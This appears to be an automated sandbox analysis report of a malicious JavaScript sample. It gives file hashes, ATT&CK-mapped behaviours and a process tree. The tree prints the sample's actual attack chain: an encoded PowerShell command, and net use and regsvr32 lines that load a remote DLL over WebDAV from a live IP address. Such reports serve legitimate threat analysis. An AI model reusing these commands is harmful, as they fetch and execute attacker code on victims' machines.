Analysis
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max time kernel
95s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
14-11-2024 02:44
Static task
static1
Behavioral task
behavioral1
Sample
85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js
Resource
win10v2004-20241007-en
General
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Target
85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js
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Size
1.8MB
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MD5
fea533f916ddb9f77afa08d87bf652f0
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SHA1
f50fb69990b11ae1c73c068337dc7d82b152492c
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SHA256
85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013
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SHA512
a97954e95b3b3a2ca63b9cac937e6f1c42527d00c2b77cff06792374175fe42e0f80d5a3ab39aac4954c694d700f79aa34107580c933ed9b163e88d7e979e323
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SSDEEP
12288:UzMxhNYrLmuoup3oZ4z/CzSzCxAM4qDdZDBaEQrlLaOr65cap3a:Um2nu94TCesA7HJ
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation wscript.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid Process 2792 timeout.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 2736 powershell.exe 2736 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 2736 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
wscript.exepowershell.execmd.execmd.exedescription pid Process procid_target PID 2740 wrote to memory of 2736 2740 wscript.exe 83 PID 2740 wrote to memory of 2736 2740 wscript.exe 83 PID 2736 wrote to memory of 2792 2736 powershell.exe 85 PID 2736 wrote to memory of 2792 2736 powershell.exe 85 PID 2736 wrote to memory of 4120 2736 powershell.exe 86 PID 2736 wrote to memory of 4120 2736 powershell.exe 86 PID 4120 wrote to memory of 1764 4120 cmd.exe 88 PID 4120 wrote to memory of 1764 4120 cmd.exe 88 PID 2736 wrote to memory of 4812 2736 powershell.exe 89 PID 2736 wrote to memory of 4812 2736 powershell.exe 89 PID 4812 wrote to memory of 4112 4812 cmd.exe 90 PID 4812 wrote to memory of 4112 4812 cmd.exe 90
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2740 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA1ADMANQA0ADcAMwA3ADcAMwAwADAAOAA0AC4AZABsAGwA2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Windows\system32\timeout.exe"C:\Windows\system32\timeout.exe" 13⤵
- Delays execution with timeout.exe
PID:2792
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\3⤵
- Suspicious use of WriteProcessMemory
PID:4120 -
C:\Windows\system32\net.exenet use \\94.159.113.79@8888\davwwwroot\4⤵PID:1764
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\5354737730084.dll3⤵
- Suspicious use of WriteProcessMemory
PID:4812 -
C:\Windows\system32\regsvr32.exeregsvr32 /s \\94.159.113.79@8888\davwwwroot\5354737730084.dll4⤵PID:4112
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82